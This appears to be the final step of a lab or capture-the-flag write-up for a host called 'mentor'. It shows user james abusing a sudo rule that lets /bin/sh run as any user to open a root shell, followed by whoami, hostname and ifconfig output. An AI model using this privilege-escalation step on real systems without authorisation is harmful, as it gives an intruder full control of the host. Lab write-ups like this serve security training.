/bin/sh


sudo privileges of the james user was identified that the user is able to execute /bin/sh as ANYONE

james@mentor:~$ sudo -u root /bin/sh -i
# whoami
root
# hostname
mentor
# ifconfig
br-028c7a43f929: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.20.0.1  netmask 255.255.0.0  broadcast 172.20.255.255
        ether 02:42:05:24:4c:de  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
br-24ddaa1f3b47: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.19.0.1  netmask 255.255.0.0  broadcast 172.19.255.255
        ether 02:42:91:6d:19:94  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
br-3d63c18e314d: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.21.0.1  netmask 255.255.0.0  broadcast 172.21.255.255
        ether 02:42:50:81:fe:3b  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
br-7d5c72654da7: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.0.1  netmask 255.255.0.0  broadcast 172.22.255.255
        inet6 fe80::42:1cff:fefa:2974  prefixlen 64  scopeid 0x20<link>
        ether 02:42:1c:fa:29:74  txqueuelen 0  (Ethernet)
        RX packets 819638  bytes 68842503 (68.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 740725  bytes 78926999 (78.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
br-a8a89c3bf6ff: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:39:6b:f2:5a  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:11:63:61:ef  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.193  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:d25d  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:d25d  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:d2:5d  txqueuelen 1000  (Ethernet)
        RX packets 656006  bytes 78542169 (78.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 731358  bytes 74752498 (74.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 5388  bytes 382968 (382.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5388  bytes 382968 (382.9 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth1fbf3a9: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::e007:5dff:fe58:a035  prefixlen 64  scopeid 0x20<link>
        ether e2:07:5d:58:a0:35  txqueuelen 0  (Ethernet)
        RX packets 131  bytes 19145 (19.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 200  bytes 17321 (17.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
veth79ba3f3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::c73:30ff:fe0d:6d10  prefixlen 64  scopeid 0x20<link>
        ether 0e:73:30:0d:6d:10  txqueuelen 0  (Ethernet)
        RX packets 399  bytes 22576 (22.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 426  bytes 24298 (24.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
vethda9f088: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::81f:24ff:fe8c:3447  prefixlen 64  scopeid 0x20<link>
        ether 0a:1f:24:8c:34:47  txqueuelen 0  (Ethernet)
        RX packets 819108  bytes 80275714 (80.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 740175  bytes 78890990 (78.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise